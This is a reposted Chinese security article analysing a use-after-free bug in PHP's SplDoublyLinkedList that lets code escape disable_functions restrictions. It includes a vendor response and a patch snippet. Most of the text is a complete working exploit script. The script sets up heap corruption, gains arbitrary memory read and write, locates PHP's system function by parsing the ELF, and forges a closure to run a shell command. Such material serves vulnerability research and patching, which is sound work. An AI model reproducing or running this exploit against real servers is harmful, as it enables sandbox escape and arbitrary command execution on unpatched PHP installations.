PHP SplDoublyLinkedList中的用后释放漏洞分析

  • A+
所属分类:安全文章

更多全球网络安全资讯尽在邑安全

PHP SplDoublyLinkedList中的用后释放漏洞分析漏洞描述

PHP的SplDoublyLinkedList双向链表库中存在一个用后释放漏洞,该漏洞将允许攻击者通过运行PHP代码来转义disable_functions限制函数。在该漏洞的帮助下,远程攻击者将能够实现PHP沙箱逃逸,并执行任意代码。更准确地来说,成功利用该漏洞后,攻击者将能够绕过PHP的某些限制,例如disable_functions和safe_mode等等。


受影响版本

  • PHP v8.0(Alpha);

  • PHP v7.4.10及其之前版本;


厂商回应

根据我们的安全分类,我们认为这并非一个安全问题,因为它需要在服务器端执行非常特殊的代码才能够触发该漏洞。如果攻击者能够实现代码注入,那么肯定是由一个比该漏洞更加严重的漏洞存在所导致的。


漏洞分析

SplDoublyLinkedList是PHP中的一个双向链表库(DLL),这个库支持进行迭代,即能够存储一个指针指向当前的DLL元素以实现迭代。这样一来,开发人员就可以通过调用next()和prev()来让DLL指向其他的元素了。

当我们删除DLL中的某个元素之后,PHP将从DLL中移除该元素,然后销毁掉zval,如果指针指向该元素的话,那么就存在空指针问题了。因此,当zval被销毁之后,当前指针仍然指向相关联元素,即使其已经被从链表中移除了。这样一来,用后释放问题便出现了,因为我们可以通过在zval的构造器中调用$dll->next()或$dll->prev()来触发该漏洞。


利用输入参数触发漏洞

我们可以使用两个值来创建一个SplDoublyLinkedList对象$s,第一个值是一个带有特殊结构体__destruct 的对象,另一个值我们不用理会。接下来,我们可以调用$s->rewind()来让当前迭代元素的指针指向我们的对象。当我们调用$s->offsetUnset(0)时,它将会调用底层C函数SPL_METHOD(SplDoublyLinkedList, offsetUnset)(该函数存在于ext/spl/spl_dllist.c中),这个函数将完成以下几件事情:

1、通过设置下列参数将元素从双线链表中移除:

element->prev->next = element->next

element->next->prev = element->prev

2、销毁相关的zval(llist->dtor);

3、如果intern->traverse_pointer指向目标元素,它会将指针设置为NULL;

在第二步中,会调用我们对象的__destruct方法,而intern->traverse_pointer仍然会指向该元素。为了触发用后释放问题,我们需要做下列几件事情:

  • 通过调用$s->offsetUnset(0)来移除双向链表中的第二个元素,让intern->traverse_pointer->next指向一个未分配的空间;

  • 调用$s->next():调用链为intern->traverse_pointer = intern->traverse_pointer->next。由于该地址已在第一步被释放,那么traverse_pointer将指向一个未分配的地址;

  • 使用$s->current(),我们将能够访问未分配的地址,从而触发用后释放漏洞;


漏洞修复

需要在销毁zval之前清理掉intern->traverse_pointer指针,随后删除相关的引用。参考代码如下:

was_traverse_pointer = 0;

 

        // Clear the current pointer

        if (intern->traverse_pointer == element) {

            intern->traverse_pointer = NULL;

            was_traverse_pointer = 1;

        }

 

        if(llist->dtor) {

            llist->dtor(element);

        }

 

        if(was_traverse_pointer) {

            SPL_LLIST_DELREF(element);

        }

 

        // In the current implementation, this part is useless, because

        // llist->dtor will UNDEF the zval before

        zval_ptr_dtor(&element->data);

        ZVAL_UNDEF(&element->data);

 

        SPL_LLIST_DELREF(element);

利用演示

PHP SplDoublyLinkedList中的用后释放漏洞分析


漏洞利用

<?php

#

# PHP SplDoublyLinkedList::offsetUnset UAF

# Charles Fol (@cfreal_)

# 2020-08-07

# PHP is vulnerable from 5.3 to 8.0 alpha

# This exploit only targets PHP7+.

#

# SplDoublyLinkedList is a doubly-linked list (DLL) which supports iteration.

# Said iteration is done by keeping a pointer to the "current" DLL element.

# You can then call next() or prev() to make the DLL point to another element.

# When you delete an element of the DLL, PHP will remove the element from the

# DLL, then destroy the zval, and finally clear the current ptr if it points

# to the element. Therefore, when the zval is destroyed, current is still

# pointing to the associated element, even if it was removed from the list.

# This allows for an easy UAF, because you can call $dll->next() or

# $dll->prev() in the zval's destructor.



#

 

error_reporting(E_ALL);

 

define('NB_DANGLING', 200);

define('SIZE_ELEM_STR', 40 - 24 - 1);

define('STR_MARKER', 0xcf5ea1);

 

function i2s(&$s, $p, $i, $x=8)

{

    for($j=0;$j<$x;$j++)

    {

        $s[$p+$j] = chr($i & 0xff);

        $i >>= 8;

    }

}

 

 

function s2i(&$s, $p, $x=8)

{

    $i = 0;

 

    for($j=$x-1;$j>=0;$j--)

    {

        $i <<= 8;

        $i |= ord($s[$p+$j]);

    }

 

    return $i;

}

 

 

class UAFTrigger

{

    function __destruct()

    {

        global $dlls, $strs, $rw_dll, $fake_dll_element, $leaked_str_offsets;

 

        #"print('UAF __destruct: ' . "n");

        $dlls[NB_DANGLING]->offsetUnset(0);

       

        # At this point every $dll->current points to the same freed chunk. We allocate

        # that chunk with a string, and fill the zval part

        $fake_dll_element = str_shuffle(str_repeat('A', SIZE_ELEM_STR));

        i2s($fake_dll_element, 0x00, 0x12345678); # ptr

        i2s($fake_dll_element, 0x08, 0x00000004, 7); # type + other stuff

       

        # Each of these dlls current->next pointers point to the same location,

        # the string we allocated. When calling next(), our fake element becomes

        # the current value, and as such its rc is incremented. Since rc is at

        # the same place as zend_string.len, the length of the string gets bigger,

        # allowing to R/W any part of the following memory

        for($i = 0; $i <= NB_DANGLING; $i++)

            $dlls[$i]->next();

 

        if(strlen($fake_dll_element) <= SIZE_ELEM_STR)

            die('Exploit failed: fake_dll_element did not increase in size');

       

        $leaked_str_offsets = [];

        $leaked_str_zval = [];

 

        # In the memory after our fake element, that we can now read and write,

        # there are lots of zend_string chunks that we allocated. We keep three,

        # and we keep track of their offsets.

        for($offset = SIZE_ELEM_STR + 1; $offset <= strlen($fake_dll_element) - 40; $offset += 40)

        {

            # If we find a string marker, pull it from the string list

            if(s2i($fake_dll_element, $offset + 0x18) == STR_MARKER)

            {

                $leaked_str_offsets[] = $offset;

                $leaked_str_zval[] = $strs[s2i($fake_dll_element, $offset + 0x20)];

                if(count($leaked_str_zval) == 3)

                    break;

            }

        }

 

        if(count($leaked_str_zval) != 3)

            die('Exploit failed: unable to leak three zend_strings');

       

        # free the strings, except the three we need

        $strs = null;

 

        # Leak adress of first chunk

        unset($leaked_str_zval[0]);

        unset($leaked_str_zval[1]);

        unset($leaked_str_zval[2]);

        $first_chunk_addr = s2i($fake_dll_element, $leaked_str_offsets[1]);

 

        # At this point we have 3 freed chunks of size 40, which we can read/write,

        # and we know their address.

        print('Address of first RW chunk: 0x' . dechex($first_chunk_addr) . "n");

 

        # In the third one, we will allocate a DLL element which points to a zend_array

        $rw_dll->push([3]);

        $array_addr = s2i($fake_dll_element, $leaked_str_offsets[2] + 0x18);

        # Change the zval type from zend_object to zend_string

        i2s($fake_dll_element, $leaked_str_offsets[2] + 0x20, 0x00000006);

        if(gettype($rw_dll[0]) != 'string')

            die('Exploit failed: Unable to change zend_array to zend_string');

       

        # We can now read anything: if we want to read 0x11223300, we make zend_string*

        # point to 0x11223300-0x10, and read its size using strlen()

 

        # Read zend_array->pDestructor

        $zval_ptr_dtor_addr = read($array_addr + 0x30);

    

        print('Leaked zval_ptr_dtor address: 0x' . dechex($zval_ptr_dtor_addr) . "n");

 

        # Use it to find zif_system

        $system_addr = get_system_address($zval_ptr_dtor_addr);

        print('Got PHP_FUNCTION(system): 0x' . dechex($system_addr) . "n");

       

        # In the second freed block, we create a closure and copy the zend_closure struct

        # to a string

        $rw_dll->push(function ($x) {});

        $closure_addr = s2i($fake_dll_element, $leaked_str_offsets[1] + 0x18);

        $data = str_shuffle(str_repeat('A', 0x200));

 

        for($i = 0; $i < 0x138; $i += 8)

        {

            i2s($data, $i, read($closure_addr + $i));

        }

       

        # Change internal func type and pointer to make the closure execute system instead

        i2s($data, 0x38, 1, 4);

        i2s($data, 0x68, $system_addr);

       

        # Push our string, which contains a fake zend_closure, in the last freed chunk that

        # we control, and make the second zval point to it.

        $rw_dll->push($data);

        $fake_zend_closure = s2i($fake_dll_element, $leaked_str_offsets[0] + 0x18) + 24;

        i2s($fake_dll_element, $leaked_str_offsets[1] + 0x18, $fake_zend_closure);

        print('Replaced zend_closure by the fake one: 0x' . dechex($fake_zend_closure) . "n");

       

        # Calling it now

       

        print('Running system("id");' . "n");

        $rw_dll[1]('id');

 

        print_r('DONE'."n");

    }

}

 

class DanglingTrigger

{

    function __construct($i)

    {

        $this->i = $i;

    }

 

    function __destruct()

    {

        global $dlls;

        #D print('__destruct: ' . $this->i . "n");

        $dlls[$this->i]->offsetUnset(0);

        $dlls[$this->i+1]->push(123);

        $dlls[$this->i+1]->offsetUnset(0);

    }

}

 

class SystemExecutor extends ArrayObject

{

    function offsetGet($x)

    {

        parent::offsetGet($x);

    }

}

 

/**

 * Reads an arbitrary address by changing a zval to point to the address minus 0x10,

 * and setting its type to zend_string, so that zend_string->len points to the value

 * we want to read.

 */

function read($addr, $s=8)

{

    global $fake_dll_element, $leaked_str_offsets, $rw_dll;

 

    i2s($fake_dll_element, $leaked_str_offsets[2] + 0x18, $addr - 0x10);

    i2s($fake_dll_element, $leaked_str_offsets[2] + 0x20, 0x00000006);

 

    $value = strlen($rw_dll[0]);

 

    if($s != 8)

        $value &= (1 << ($s << 3)) - 1;

 

    return $value;

}

 

function get_binary_base($binary_leak)

{

    $base = 0;

    $start = $binary_leak & 0xfffffffffffff000;

    for($i = 0; $i < 0x1000; $i++)

    {

        $addr = $start - 0x1000 * $i;

        $leak = read($addr, 7);

        # ELF header

        if($leak == 0x10102464c457f)

            return $addr;

    }

    # We'll crash before this but it's clearer this way

    die('Exploit failed: Unable to find ELF header');

}

 

function parse_elf($base)

{

    $e_type = read($base + 0x10, 2);

 

    $e_phoff = read($base + 0x20);

    $e_phentsize = read($base + 0x36, 2);

    $e_phnum = read($base + 0x38, 2);

 

    for($i = 0; $i < $e_phnum; $i++) {

        $header = $base + $e_phoff + $i * $e_phentsize;

        $p_type  = read($header + 0x00, 4);

        $p_flags = read($header + 0x04, 4);

        $p_vaddr = read($header + 0x10);

        $p_memsz = read($header + 0x28);

 

        if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write

            # handle pie

            $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;

            $data_size = $p_memsz;

        } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec

            $text_size = $p_memsz;

        }

    }

 

    if(!$data_addr || !$text_size || !$data_size)

        die('Exploit failed: Unable to parse ELF');

 

    return [$data_addr, $text_size, $data_size];

}

 

function get_basic_funcs($base, $elf) {

    list($data_addr, $text_size, $data_size) = $elf;

    for($i = 0; $i < $data_size / 8; $i++) {

        $leak = read($data_addr + $i * 8);

        if($leak - $base > 0 && $leak < $data_addr) {

            $deref = read($leak);

            # 'constant' constant check

            if($deref != 0x746e6174736e6f63)

                continue;

        } else continue;

 

        $leak = read($data_addr + ($i + 4) * 8);

        if($leak - $base > 0 && $leak < $data_addr) {

            $deref = read($leak);

            # 'bin2hex' constant check

            if($deref != 0x786568326e6962)

                continue;

        } else continue;

 

        return $data_addr + $i * 8;

    }

}

 

function get_system($basic_funcs)

{

    $addr = $basic_funcs;

    do {

        $f_entry = read($addr);

        $f_name = read($f_entry, 6);

 

        if($f_name == 0x6d6574737973) { # system

            return read($addr + 8);

        }

        $addr += 0x20;

    } while($f_entry != 0);

    return false;

}

 

function get_system_address($binary_leak)

{

    $base = get_binary_base($binary_leak);

    print('ELF base: 0x' .dechex($base) . "n");

    $elf = parse_elf($base);

    $basic_funcs = get_basic_funcs($base, $elf);

    print('Basic functions: 0x' .dechex($basic_funcs) . "n");

    $zif_system = get_system($basic_funcs);

    return $zif_system;

}

 

$dlls = [];

$strs = [];

$rw_dll = new SplDoublyLinkedList();

 

 

# Create a chain of dangling triggers, which will all in turn

# free current->next, push an element to the next list, and free current

# This will make sure that every current->next points the same memory block,

# which we will UAF.

for($i = 0; $i < NB_DANGLING; $i++)

{

    $dlls[$i] = new SplDoublyLinkedList();

    $dlls[$i]->push(new DanglingTrigger($i));

    $dlls[$i]->rewind();

}

 

# We want our UAF'd list element to be before two strings, so that we can

# obtain the address of the first string, and increase is size. We then have

# R/W over all memory after the obtained address.

define('NB_STRS', 50);

for($i = 0; $i < NB_STRS; $i++)

{

    $strs[] = str_shuffle(str_repeat('A', SIZE_ELEM_STR));

    i2s($strs[$i], 0, STR_MARKER);

    i2s($strs[$i], 8, $i, 7);

}

 

# Free one string in the middle, ...

$strs[NB_STRS - 20] = 123;

# ... and put the to-be-UAF'd list element instead.

$dlls[0]->push(0);

 

# Setup the last DLlist, which will exploit the UAF

$dlls[NB_DANGLING] = new SplDoublyLinkedList();

$dlls[NB_DANGLING]->push(new UAFTrigger());

$dlls[NB_DANGLING]->rewind();

 

# Trigger the bug on the first list

$dlls[0]->offsetUnset(0);

转自Freebuf.COM

欢迎收藏并分享朋友圈,让五邑人网络更安全

PHP SplDoublyLinkedList中的用后释放漏洞分析

欢迎扫描关注我们,及时了解最新安全动态、学习最潮流的安全姿势!


推荐文章

1

新永恒之蓝?微软SMBv3高危漏洞(CVE-2020-0796)分析复现

2

重大漏洞预警:ubuntu最新版本存在本地提权漏洞(已有EXP) 




本文始发于微信公众号(邑安全):PHP SplDoublyLinkedList中的用后释放漏洞分析

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: